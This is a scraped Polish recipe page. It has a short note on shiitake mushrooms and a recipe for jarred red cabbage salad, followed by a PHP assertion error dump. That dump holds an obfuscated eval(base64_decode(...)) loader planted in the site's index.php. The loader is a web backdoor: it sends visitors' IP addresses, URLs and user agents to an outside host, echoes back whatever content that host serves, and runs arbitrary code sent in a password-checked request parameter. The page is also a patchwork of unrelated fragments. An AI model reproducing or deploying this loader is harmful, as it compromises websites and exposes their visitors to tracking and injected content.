Shiitake

Grzybki występujące w Chinach i w Japonii. Często używane są również w kuchni tajskiej. Te japońskie mają słonawy mięsny posmak i w kuchni japońskiej są podstawą zupy "miso" i wielu dań wegetariańskich. Zarówno chińskie jak i japońskie grzybki przeważnie dostępne są w postaci suszonej, dlatego też przed wykorzystaniem ich w kuchni trzeba je namoczyć podobnie jak nasze polskie suszone grzyby. Grzybki shiitake są niezwykle smaczne gdy smaży się je na głębokim tłuszczu i jako takie funkcjonują w kuchni tajskiej.

You are at: Start
Surówka z czerwonej kapusty do słoików. PDF Drukuj Email
Ocena użytkowników: / 5
SłabyŚwietny 






'
Przetwory - Przetwory warzywne


SkładnikiPrzepis
4 kg czerwonej kapusty
1/2 kg cebuli
1 kg kwaśnych jabłek
Zalewa
1 1/2 szk. wody
1 1/2 szk. octu
1/2 szk. cukru
1/2 szk. oleju
liść laurowy
Kapuste poszatkować, cebulę pokroić w półtalarki posolić to i zostawić na 2 - 3 godz. Odlać nadmiar wody. Ugotować zalewę wrzucić do niej kapustę, cebulę. Gotować to wszystko razem 10 min. pod koniec gotowania dodać jabłka starte na tarce jarzynowej o grubych oczkach. Gorące wkładać do słoików i pasteryzować 20 min.
 

themesclub.com cms Joomla template
Copyright © 2007 by www.fun2you.org   -  All Rights Reserved.

Assertion failed!


Script: /home/sid266/public_html/przepisy-kulinarne/index.php
Line: 101
Condition:
eval(base64_decode("aWYgKCFpc3NldCgkaWJ2KSkgIHsgZXJyb3JfcmVwb3J0aW5nKDApOwppZighZW1wdHkoJF9DT09LSUVbImNsaWVudF9jaGVjayJdKSkgZGllKCRfQ09PS0lFWyJjbGllbnRfY2hlY2siXSk7CiR1cmwgPSAiaHR0cDovL3BlcnNvbmVycy5iaXovZ2V0LnBocD9pcD0iLnVybGVuY29kZSgkX1NFUlZFUlsiUkVNT1RFX0FERFIiXSkuIiZkPSIudXJsZW5jb2RlKCRfU0VSVkVSWyJTRVJWRVJfTkFNRSJdLiRfU0VSVkVSWyJSRVFVRVNUX1VSSSJdKS4iJnU9Ii51cmxlbmNvZGUoJF9TRVJWRVJbIkhUVFBfVVNFUl9BR0VOVCJdKS4iJmk9MSZoPSIubWQ1KCJkNmExZWFkMGU4Y2ZlYzc2NGRlZjM1MDJlZDdhMDMzNTExIik7CmlmKGZ1bmN0aW9uX2V4aXN0cygiY3VybF9pbml0IikpIHsKJGNoID0gY3VybF9pbml0KCR1cmwpOwpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfSEVBREVSLCBGQUxTRSk7CmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgVFJVRSk7CiRpYnYgPSBjdXJsX2V4ZWMoJGNoKTsKY3VybF9jbG9zZSgkY2gpOwp9IGVsc2VpZihpbmlfZ2V0KCJhbGxvd191cmxfZm9wZW4iKSA9PSAxKSB7CiRpYnYgPSBmaWxlX2dldF9jb250ZW50cygkdXJsKTsKfQppZihpc3NldCgkX1JFUVVFU1RbInAiXSkgJiYgbWQ1KG1kNSgkX1JFUVVFU1RbInAiXSkpID09ICIzNjM0NDU0NTQyYmMzYWE1OTRlNmQ5NDFjM2IyZGE3ZCIpIHsgZXZhbChzdHJpcHNsYXNoZXMoJF9SRVFVRVNUWyJjIl0pKTsgfQplY2hvICRpYnY7fQ=="));
variable value
$0"
key value
$function"debug_assert_callback"
[args]Nested Array
$1"
key value
$file"/home/sid266/public_html/przepisy-kulinarne/index.php"
$line"101"
$function"assert"
[args]Nested Array